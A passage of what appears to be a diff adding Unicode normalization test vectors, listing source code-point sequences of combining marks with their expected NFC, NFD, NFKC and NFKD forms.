+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x035F, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062] },
+{ source: [0x0061, 0x035F, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x0360, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0360, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x0361, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0361, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x0361, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x0362, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x0362, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0362, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x0362, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0363, 0x0062], NFC: [0x00E0, 0x05AE, 0x0363, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0363, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0363, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0363, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0363, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0363, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0364, 0x0062], NFC: [0x00E0, 0x05AE, 0x0364, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0364, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0364, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0364, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0364, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0364, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0365, 0x0062], NFC: [0x00E0, 0x05AE, 0x0365, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0365, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0365, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0365, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0365, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0365, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0366, 0x0062], NFC: [0x00E0, 0x05AE, 0x0366, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0366, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0366, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0366, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0366, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0366, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0367, 0x0062], NFC: [0x00E0, 0x05AE, 0x0367, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0367, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0367, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0367, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0367, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0367, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0368, 0x0062], NFC: [0x00E0, 0x05AE, 0x0368, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0368, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0368, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0368, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0368, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0368, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0369, 0x0062], NFC: [0x00E0, 0x05AE, 0x0369, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0369, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0369, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0369, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0369, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0369, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036A, 0x0062], NFC: [0x00E0, 0x05AE, 0x036A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036B, 0x0062], NFC: [0x00E0, 0x05AE, 0x036B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036C, 0x0062], NFC: [0x00E0, 0x05AE, 0x036C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036D, 0x0062], NFC: [0x00E0, 0x05AE, 0x036D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036E, 0x0062], NFC: [0x00E0, 0x05AE, 0x036E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x036F, 0x0062], NFC: [0x00E0, 0x05AE, 0x036F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x036F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x036F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x036F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x036F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x036F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0483, 0x0062], NFC: [0x00E0, 0x05AE, 0x0483, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0483, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0483, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0483, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0483, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0483, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0484, 0x0062], NFC: [0x00E0, 0x05AE, 0x0484, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0484, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0484, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0484, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0484, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0484, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0485, 0x0062], NFC: [0x00E0, 0x05AE, 0x0485, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0485, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0485, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0485, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0485, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0486, 0x0062], NFC: [0x00E0, 0x05AE, 0x0486, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0486, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0486, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0486, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0486, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0487, 0x0062], NFC: [0x00E0, 0x05AE, 0x0487, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0487, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0487, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0487, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0487, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0591, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0591, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0592, 0x0062], NFC: [0x00E0, 0x05AE, 0x0592, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0592, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0592, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0592, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0592, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0593, 0x0062], NFC: [0x00E0, 0x05AE, 0x0593, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0593, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0593, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0593, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0593, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0594, 0x0062], NFC: [0x00E0, 0x05AE, 0x0594, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0594, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0594, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0594, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0594, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0595, 0x0062], NFC: [0x00E0, 0x05AE, 0x0595, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0595, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0595, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0595, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0595, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0596, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0596, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0597, 0x0062], NFC: [0x00E0, 0x05AE, 0x0597, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0597, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0597, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0597, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0597, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0598, 0x0062], NFC: [0x00E0, 0x05AE, 0x0598, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0598, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0598, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0598, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0598, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0599, 0x0062], NFC: [0x00E0, 0x05AE, 0x0599, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0599, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0599, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0599, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0599, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x059A, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x059A, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x059B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059C, 0x0062], NFC: [0x00E0, 0x05AE, 0x059C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059D, 0x0062], NFC: [0x00E0, 0x05AE, 0x059D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059E, 0x0062], NFC: [0x00E0, 0x05AE, 0x059E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059F, 0x0062], NFC: [0x00E0, 0x05AE, 0x059F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059F, 0x0315, 0x0062] },
